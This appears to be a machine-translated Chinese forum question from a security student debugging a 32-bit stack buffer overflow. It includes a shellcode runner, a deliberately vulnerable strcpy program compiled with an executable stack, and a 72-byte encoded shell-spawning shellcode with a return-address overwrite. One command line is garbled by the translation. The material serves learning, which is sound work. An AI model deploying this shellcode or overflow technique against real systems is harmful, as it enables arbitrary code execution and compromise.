因此,在参加软件安全课程后,我对修改shellcode如何处理缓冲区溢出变得非常感兴趣。我读到的关于该主题的大多数线程都涉及将shellcode作为char数组,并且用户没有为gcc添加-fno-stack-protector / -z execstack标志。我试过关闭ASLR(虽然我不确定它是否相关?),没有堆栈金丝雀或任何涉及的东西。我使用循环偏移生成器来查找堆栈偏移量并使用gdb来查找缓冲区的开始(所以我知道我有正确的返回地址)。一切都在gdb中,所以我知道在gdb外面运行会有地址差异,我最初有一个NOP雪橇但是删除它以降低复杂性。
所以我已经达到了我的智慧......我觉得这可能是装配层的一些东西,我不理解/没有学到。可能是傻事......
首先,我有一个测试用例程序,它只是将shellcode作为命令行参数,成功弹出shell:
编译:gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
int main(int argc, char *argv[])
{
unsigned char shellcode[100];
strcpy(shellcode,argv[1]);
int (*ret)() = (int(*)())shellcode;
ret();
}
root @ kali:〜/ tmp#。/ test2 $(python -c&#39; print &#34; \ XBF \ XA0 \ XBC \ XDF \ x9c \ XDA \ XDA \ xd9 \ X74 \ X24 \ XF4 \ X58 \ X33 \ xc9 \ XB1 \ X0C \ X31 \ X78 \ X13 \ X03 \ X78 \ X13 \ X83 \ xe8 \ x5c \ x5e \ X2A \ XF6 \ X97 \ xc7 \ x4c \ X55 \ XC1 \ x9f \ X43 \ X39 \ X84 \的x87 \ XF4 \ X92 \ xe5 \ X2F \ X05 \ X85 \ X26 \ XD2 \ X6C \ X3B \ XB1 \ XF1 \ X3D \ X2B \ XCB \ XF5 \ XC1 \ XAB \ XE4 \ X97 \ xa8 \ XC5 \ XD5 \ X35 \ X4A \ X69 \ X41 \ XBA \ XDB \ XDE \×18 \ x5b \ X2E \ x60的&#34 ;&#39)
root @ kali:/ root / tmp#&lt; - 弹出新shell
接下来我想尝试实际溢出缓冲区以覆盖存储的EIP地址并运行shellcode,这种情况不断导致段错误...
编译:gcc -m32 -z execstack file.c -o file
#include<stdio.h>
#include<string.h>
void login_success(char *password)
{
char pass[60];
strcpy(pass, password);
}
int main(int argc, char *argv[])
{
login_success(argv[1]);
}
eip的偏移量是72个字节,我的shellcode是72个字节长+添加eip覆盖。
Shellcode看起来像:
buf = ""
buf += "\xbf\xa0\xbc\xdf\x9c\xda\xda\xd9\x74\x24\xf4\x58\x33\xc9\xb1\x0c\x31\x78\x13\x03\x78\x13\x83\xe8\x5c\x5e\x2a\xf6\x97\xc7\x4c\x55\xc1\x9f\x43\x39\x84\x87\xf4\x92\xe5\x2f\x05\x85\x26\xd2\x6c\x3b\xb1\xf1\x3d\x2b\xcb\xf5\xc1\xab\xe4\x97\xa8\xc5\xd5\x35\x4a\x69\x41\xba\xdb\xde\x18\x5b\x2e\x60"
#0xffffd264
buf += "\x64\xd2\xff\xff"
print buf
运行此操作会导致分段错误...
如果我单步执行gdb,他们都会到达shellcode,我已经按照每一步操作,所有命令都是相同的,直到它必须发出一个调用指令。
在下面的图片中,strcpy实例位于左侧,测试用例位于右侧:
我不确定它是否与前一个发生溢出的堆栈帧的ret指令有关?如果需要,我可以提供任何其他信息。任何关于我应该进一步研究的信息都将不胜感激!